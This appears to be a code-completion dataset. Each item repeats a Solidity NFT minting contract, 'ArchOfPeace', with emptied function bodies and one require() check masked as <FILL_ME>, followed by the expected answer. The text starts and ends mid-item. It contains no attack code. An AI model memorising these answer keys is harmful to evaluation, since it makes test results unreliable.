: _emitMonumentalEvent(ChapterMinted.selector);
}
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| isAccountWhitelisted(limit,group,proof),"ArchOfPeace: sender not whitelisted" | 155,537 | isAccountWhitelisted(limit,group,proof) |
"ArchOfPeace: already revealed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
if (!_chapterAllowsOpenMint()) {
require(
isAccountWhitelisted(limit, group, proof),
"ArchOfPeace: sender not whitelisted"
);
}
require(<FILL_ME>)
require(
_isQuantityWhitelisted(_mintCounter[_msgSender()], quantity, limit),
"ArchOfPeace: quantity not allowed"
);
require(_chapterAllowsMint(quantity, _minted), "ArchOfPeace: no mint chapter");
require(_chapterAllowsMintGroup(group), "ArchOfPeace: group not allowed");
require(_chapterMatchesOffer(quantity, msg.value, group), "ArchOfPeace: offer unmatched");
_mint(_msgSender(), quantity);
_mintCounter[_msgSender()] += quantity;
if (_minted == chapterMintLimit()) {
_maxSupply == chapterMintLimit()
? _emitMonumentalEvent(EpisodeMinted.selector)
: _emitMonumentalEvent(ChapterMinted.selector);
}
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| entropy()==0,"ArchOfPeace: already revealed" | 155,537 | entropy()==0 |
"ArchOfPeace: quantity not allowed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
if (!_chapterAllowsOpenMint()) {
require(
isAccountWhitelisted(limit, group, proof),
"ArchOfPeace: sender not whitelisted"
);
}
require(entropy() == 0, "ArchOfPeace: already revealed");
require(<FILL_ME>)
require(_chapterAllowsMint(quantity, _minted), "ArchOfPeace: no mint chapter");
require(_chapterAllowsMintGroup(group), "ArchOfPeace: group not allowed");
require(_chapterMatchesOffer(quantity, msg.value, group), "ArchOfPeace: offer unmatched");
_mint(_msgSender(), quantity);
_mintCounter[_msgSender()] += quantity;
if (_minted == chapterMintLimit()) {
_maxSupply == chapterMintLimit()
? _emitMonumentalEvent(EpisodeMinted.selector)
: _emitMonumentalEvent(ChapterMinted.selector);
}
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| _isQuantityWhitelisted(_mintCounter[_msgSender()],quantity,limit),"ArchOfPeace: quantity not allowed" | 155,537 | _isQuantityWhitelisted(_mintCounter[_msgSender()],quantity,limit) |
"ArchOfPeace: no mint chapter" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
if (!_chapterAllowsOpenMint()) {
require(
isAccountWhitelisted(limit, group, proof),
"ArchOfPeace: sender not whitelisted"
);
}
require(entropy() == 0, "ArchOfPeace: already revealed");
require(
_isQuantityWhitelisted(_mintCounter[_msgSender()], quantity, limit),
"ArchOfPeace: quantity not allowed"
);
require(<FILL_ME>)
require(_chapterAllowsMintGroup(group), "ArchOfPeace: group not allowed");
require(_chapterMatchesOffer(quantity, msg.value, group), "ArchOfPeace: offer unmatched");
_mint(_msgSender(), quantity);
_mintCounter[_msgSender()] += quantity;
if (_minted == chapterMintLimit()) {
_maxSupply == chapterMintLimit()
? _emitMonumentalEvent(EpisodeMinted.selector)
: _emitMonumentalEvent(ChapterMinted.selector);
}
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| _chapterAllowsMint(quantity,_minted),"ArchOfPeace: no mint chapter" | 155,537 | _chapterAllowsMint(quantity,_minted) |
"ArchOfPeace: group not allowed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
if (!_chapterAllowsOpenMint()) {
require(
isAccountWhitelisted(limit, group, proof),
"ArchOfPeace: sender not whitelisted"
);
}
require(entropy() == 0, "ArchOfPeace: already revealed");
require(
_isQuantityWhitelisted(_mintCounter[_msgSender()], quantity, limit),
"ArchOfPeace: quantity not allowed"
);
require(_chapterAllowsMint(quantity, _minted), "ArchOfPeace: no mint chapter");
require(<FILL_ME>)
require(_chapterMatchesOffer(quantity, msg.value, group), "ArchOfPeace: offer unmatched");
_mint(_msgSender(), quantity);
_mintCounter[_msgSender()] += quantity;
if (_minted == chapterMintLimit()) {
_maxSupply == chapterMintLimit()
? _emitMonumentalEvent(EpisodeMinted.selector)
: _emitMonumentalEvent(ChapterMinted.selector);
}
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| _chapterAllowsMintGroup(group),"ArchOfPeace: group not allowed" | 155,537 | _chapterAllowsMintGroup(group) |
"ArchOfPeace: offer unmatched" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
if (!_chapterAllowsOpenMint()) {
require(
isAccountWhitelisted(limit, group, proof),
"ArchOfPeace: sender not whitelisted"
);
}
require(entropy() == 0, "ArchOfPeace: already revealed");
require(
_isQuantityWhitelisted(_mintCounter[_msgSender()], quantity, limit),
"ArchOfPeace: quantity not allowed"
);
require(_chapterAllowsMint(quantity, _minted), "ArchOfPeace: no mint chapter");
require(_chapterAllowsMintGroup(group), "ArchOfPeace: group not allowed");
require(<FILL_ME>)
_mint(_msgSender(), quantity);
_mintCounter[_msgSender()] += quantity;
if (_minted == chapterMintLimit()) {
_maxSupply == chapterMintLimit()
? _emitMonumentalEvent(EpisodeMinted.selector)
: _emitMonumentalEvent(ChapterMinted.selector);
}
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| _chapterMatchesOffer(quantity,msg.value,group),"ArchOfPeace: offer unmatched" | 155,537 | _chapterMatchesOffer(quantity,msg.value,group) |
"ArchOfPeace: currently fulfilling" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
